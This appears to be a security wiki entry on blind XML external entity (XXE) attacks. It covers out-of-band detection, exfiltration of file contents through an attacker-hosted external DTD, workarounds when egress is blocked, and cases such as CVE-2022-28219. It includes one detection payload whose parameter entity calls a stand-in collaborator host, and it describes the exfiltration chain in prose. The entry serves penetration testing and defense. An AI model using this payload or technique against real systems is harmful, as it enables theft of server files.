Blind XXE
XXE where the application never reflects entity values, so detection and exfiltration run out-of-band through XML parameter entities and an attacker-hosted external DTD.
How it works
A blind XXE exists when the parser resolves external entities but the resolved value never appears in any response — non-reflective endpoints, silently caught parse errors, or asynchronous/background processing of the XML (Blind XXE: Exfiltrating Data OOB in 2025). Two channels remain: out-of-band network interactions and parser error messages (the latter is Error-Based XXE).
The core tool is the XML parameter entity (%name;), usable only inside the DTD. Unlike general entities, parameter entities can declare further entities, which is what lets you chain “read a file” into “send the file somewhere.” A hard constraint drives the design: a parameter entity cannot be referenced from within another entity’s value in the internal DTD subset, so the chaining logic has to live in an external DTD, which carries no such restriction (What is a Blind XXE Attack?).
Detection
Trigger an out-of-band interaction to a host you control — the same primitive as XXE to SSRF and Cloud Metadata — and watch for the callback on Burp Collaborator / Interactsh (Out-of-Band Detection). If general entities are filtered or the parser is partly hardened, use a parameter entity instead:
<!DOCTYPE r [ <!ENTITY % x SYSTEM "http://COLLAB/"> %x; ]>
Distinguish DNS-only from full HTTP: a DNS lookup with no connection may mean a firewall blocked egress, or that a validator/resolver only resolved the name — it is the weak end of the channel, not proof of a complete read path (XXE as a DAST Finding, Blind XXE to Root-Level File Read).
Exfiltration via external DTD
The standard pattern hosts a malicious DTD that reads a file into a parameter entity, then builds a second entity whose evaluation requests an attacker URL with the file contents embedded. The target document just loads the external DTD and triggers the chain (Blind XXE Lab: Malicious External DTD, Exfiltrate via Malicious External DTD).
Practical constraints:
- Newlines / special characters break HTTP exfil. Some parsers validate URL characters, so a file with newlines (like
/etc/passwd) won’t travel in an HTTP entity. Workarounds: base64 the data viaphp://filterwhere available; or switch to FTP, which tolerates more and whose “password” field a mock FTP server (xxe-ftp-server) records — also leaking Java version and internal IPs (Blind XXE OOB Techniques, Advanced XXE Exploitation). - Gopher / FTP for arbitrary TCP — the Osipov–Yunusov construction builds a URL from other entities, originally Gopher, later FTP (Gopher is deprecated, only old Java). This reaches raw protocols like Redis (Advanced XXE Exploitation).
Egress blocked
If the server reaches no external host, the OOB channel is dead but XXE isn’t:
- Error-based parser-exception leakage, including the local-DTD technique (redefine a parameter entity inside a DTD already on disk) — see Error-Based XXE.
- Internal pivot: route through an internal app that can egress. Honoki proxied OOB fetches through an internal Confluence
makeRequestgadget to defeat the parsing server’s firewall, then elevated to read-as-root directory listings via Java’s URL-scheme handling (Blind XXE to Root-Level File Read). - Blind port scanning: time or error-differentiate internal ports via SSRF-style probes (Hunting in the Dark - Blind XXE).
Notable cases
- ManageEngine ADAudit Plus (CVE-2022-28219) — blind XXE in
/api/agent/tabs/agentDataplants a.jaron disk and enumerates its unguessable path via FTP directory listing, chained to deserialization RCE (Rapid7 Analysis). - Palo Alto PAN-OS (CVE-2024-5919) — authenticated blind XXE exfiltrating files from firewalls to attacker servers (Blind XXE in 2025).
- Sam Curry traced replayed home-network traffic to a compromised modem — the investigation began while he ran an AWS box to receive blind-XXE OOB traffic (Hacking Millions of Modems).
Related
- XML External Entity Injection
- Error-Based XXE
- XXE to SSRF and Cloud Metadata
- Out-of-Band Detection
- XXE Parser Defaults and Hardening
Sources
- What is a Blind XXE Attack? | PortSwigger · original
- Blind XXE Lab: Malicious External DTD · original
- Blind XXE: Exfiltrating Data OOB in 2025 · original
- Blind XXE OOB Techniques · original
- Exfiltrate via Malicious External DTD · original
- From Blind XXE to Root-Level File Read · original
- Hunting in the Dark - Blind XXE · original
- Advanced XXE Exploitation (GoSecure) · original
- Rapid7 Analysis: CVE-2022-28219 · original
- Hacking Millions of Modems · original
- XXE as a DAST Finding · original